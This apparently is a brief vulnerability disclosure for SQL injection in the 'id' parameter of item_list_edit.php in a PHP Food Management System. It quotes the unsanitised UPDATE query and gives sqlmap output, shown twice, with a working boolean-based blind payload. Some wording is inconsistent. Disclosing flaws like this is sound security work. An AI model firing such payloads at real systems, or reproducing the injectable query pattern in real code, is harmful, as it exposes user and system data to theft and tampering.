SQL injection vulnerability exists in id parameter of item_list_edit.php file of Food Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
    $item_id = $_POST['id'];
    $item_name = $_POST['item_name'];
    $item_type = $_POST['item_type'];
    $item_price = $_POST['item_price'];
    $item_price_dist = $_POST['item_price_dist'];
    $item_price_retl = $_POST['item_price_retl'];
    $date = date("Y-m-d H:i:s");

$sql=mysqli_query($con, "UPDATE  ho_item_list SET item_name='$item_name',
item_type='$item_type', price='$item_price',item_price_dist='$item_price_dist',
item_price_retl='$item_price_retl', date_modified = '$date' WHERE sl_no='$item_id'");
```

```
sqlmap identified the following injection point(s) with a total of 305 HTTP(s) requests:
---
Parameter: id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: &action=deleteItem&id=1' AND 8194=(SELECT (CASE WHEN (8194=8194) THEN 8194 E
LSE (SELECT 9869 UNION SELECT 5751) END))-- -
---
```

“

Parameter: id (POST)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)

Payload: &action=deleteItem&id=1' AND 8194=(SELECT (CASE WHEN (8194=8194) THEN 8194 ELSE (SELECT 9869 UNION SELECT 5751) END))-- -

---

“

Source Download：

https://www.kashipara.com/project/php/12086/food-management-system-php-project-source-code